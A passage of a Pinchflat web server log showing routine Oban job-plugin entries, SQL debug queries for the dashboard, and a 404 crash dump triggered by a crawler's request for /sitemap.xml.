s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 00:45:36.910 [info] Sent 200 in 31ms 00:45:53.232 [info] {"source":"oban","duration":4194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:00.040 [info] {"source":"oban","duration":491,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:46:23.235 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:53.248 [info] {"source":"oban","duration":2656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:00.042 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:47:23.255 [info] {"source":"oban","duration":3361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:53.260 [info] {"source":"oban","duration":2560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:00.043 [info] {"source":"oban","duration":550,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:48:23.276 [info] {"source":"oban","duration":4295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:53.279 [info] {"source":"oban","duration":2462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:00.046 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:49:23.289 [info] {"source":"oban","duration":3679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:53.293 [info] {"source":"oban","duration":1934,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:00.053 [info] {"source":"oban","duration":3904,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:50:23.298 [info] {"source":"oban","duration":3077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:53.310 [info] {"source":"oban","duration":5375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:00.055 [info] {"source":"oban","duration":456,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:51:23.315 [info] {"source":"oban","duration":2524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:53.319 [info] {"source":"oban","duration":2596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:00.057 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:52:23.328 [info] {"source":"oban","duration":2590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:53.334 [info] {"source":"oban","duration":3457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:00.061 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:53:23.339 [info] {"source":"oban","duration":4337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:53.345 [info] {"source":"oban","duration":2895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:00.064 [info] {"source":"oban","duration":561,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:54:23.363 [info] {"source":"oban","duration":5396,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:53.368 [info] {"source":"oban","duration":3400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:55:00.066 [info] {"source":"oban","duration":454,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:55:23.371 [info] {"source":"oban","duration":1889,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:55:53.378 [info] {"source":"oban","duration":3493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:00.069 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:56:23.384 [info] {"source":"oban","duration":1938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:53.397 [info] {"source":"oban","duration":5998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:00.074 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:57:23.405 [info] {"source":"oban","duration":5228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:53.419 [info] {"source":"oban","duration":1847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:00.081 [info] {"source":"oban","duration":549,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:58:23.424 [info] {"source":"oban","duration":3336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:53.431 [info] {"source":"oban","duration":4536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:00.082 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:59:23.436 [info] {"source":"oban","duration":4489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:53.441 [info] {"source":"oban","duration":3734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:00.086 [info] {"source":"oban","duration":3090,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:00:23.445 [info] {"source":"oban","duration":1621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:53.451 [info] {"source":"oban","duration":4273,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:00.088 [info] {"source":"oban","duration":433,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:01:23.454 [info] {"source":"oban","duration":1755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:53.458 [info] {"source":"oban","duration":2859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:00.091 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:02:23.463 [info] {"source":"oban","duration":2704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:53.468 [info] {"source":"oban","duration":3416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:00.096 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:03:23.472 [info] {"source":"oban","duration":2338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:53.477 [info] {"source":"oban","duration":1940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:00.104 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:04:23.483 [info] {"source":"oban","duration":4646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:53.488 [info] {"source":"oban","duration":3212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:05:00.105 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:05:23.494 [info] {"source":"oban","duration":3642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:05:53.500 [info] {"source":"oban","duration":4421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:00.108 [info] {"source":"oban","duration":880,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:06:23.505 [info] {"source":"oban","duration":3595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:47.322 [info] GET / 01:06:47.323 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 01:06:47.340 [debug] QUERY OK source="settings" db=0.8ms queue=0.3ms idle=1470.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:06:47.342 [debug] QUERY OK source="media_profiles" db=1.5ms queue=0.2ms idle=1486.5ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 01:06:47.343 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=645.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 01:06:47.352 [debug] QUERY OK source="media_items" db=9.0ms idle=488.7ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:06:47.353 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=498.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:06:47.355 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=28.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:06:47.356 [debug] QUERY OK source="settings" db=0.2ms idle=13.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:06:47.357 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=13.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:06:47.360 [debug] QUERY OK source="tasks" db=0.5ms idle=7.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 01:06:47.365 [debug] QUERY OK source="media_items" db=0.5ms idle=10.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:06:47.366 [debug] QUERY OK source="media_items" db=0.5ms idle=9.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 01:06:47.367 [debug] QUERY OK source="sources" db=0.2ms idle=10.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?,?)) [2, 7, 10, 6] 01:06:47.374 [debug] QUERY OK source="media_items" db=2.7ms idle=14.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 01:06:47.376 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=14.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 01:06:47.377 [debug] QUERY OK source="sources" db=0.2ms idle=11.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 01:06:47.378 [info] Sent 200 in 55ms 01:06:53.514 [info] {"source":"oban","duration":4229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:00.112 [info] {"source":"oban","duration":585,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:07:23.523 [info] {"source":"oban","duration":5421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:53.528 [info] {"source":"oban","duration":2805,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:00.116 [info] {"source":"oban","duration":887,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:08:23.535 [info] {"source":"oban","duration":5032,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:53.541 [info] {"source":"oban","duration":4732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:00.118 [info] {"source":"oban","duration":237,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:09:23.554 [info] {"source":"oban","duration":4569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:53.563 [info] {"source":"oban","duration":7464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:00.120 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:10:23.569 [info] {"source":"oban","duration":3393,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:53.572 [info] {"source":"oban","duration":1708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:00.124 [info] {"source":"oban","duration":468,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:11:15.900 [info] GET /sitemap.xml 01:11:15.906 [debug] QUERY OK source="settings" db=1.1ms queue=0.1ms idle=556.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:11:15.907 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=371.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:11:15.907 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 01:11:15.909 [error] #PID<0.38317.0> running PinchflatWeb.Endpoint (connection #PID<0.38315.0>, stream id 2) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sitemap.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.38315.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 59076}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.38317.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHYOzg0hxITg5oAAZth"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.38315.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 59076}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.38315.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 59076}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.38317.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "198.18.13.1"}, (truncated) 01:11:23.575 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:53.577 [info] {"source":"oban","duration":1225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:00.127 [info] {"source":"oban","duration":1029,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:12:23.583 [info] {"source":"oban","duration":3369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:53.591 [info] {"source":"oban","duration":4984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:00.130 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:13:23.603 [info] {"source":"oban","duration":5087,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:53.610 [info] {"source":"oban","duration":4783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:00.132 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:14:23.618 [info] {"source":"oban","duration":3719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:53.624 [info] {"source":"oban","duration":4402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:15:00.140 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:15:23.628 [info] {"source":"oban","duration":1631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:15:53.633 [info] {"source":"oban","duration":4340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:00.142 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:16:23.639 [info] {"source":"oban","duration":4240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:53.644 [info] {"source":"oban","duration":4006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:00.148 [info] {"source":"oban","duration":1007,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:17:23.654 [info] {"source":"oban","duration":5555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:53.663 [info] {"source":"oban","duration":4091,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:00.159 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:18:23.671 [info] {"source":"oban","duration":5217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:53.677 [info] {"source":"oban","duration":4377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:00.162 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:19:23.682 [info] {"source":"oban","duration":2974,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:53.691 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:00.166 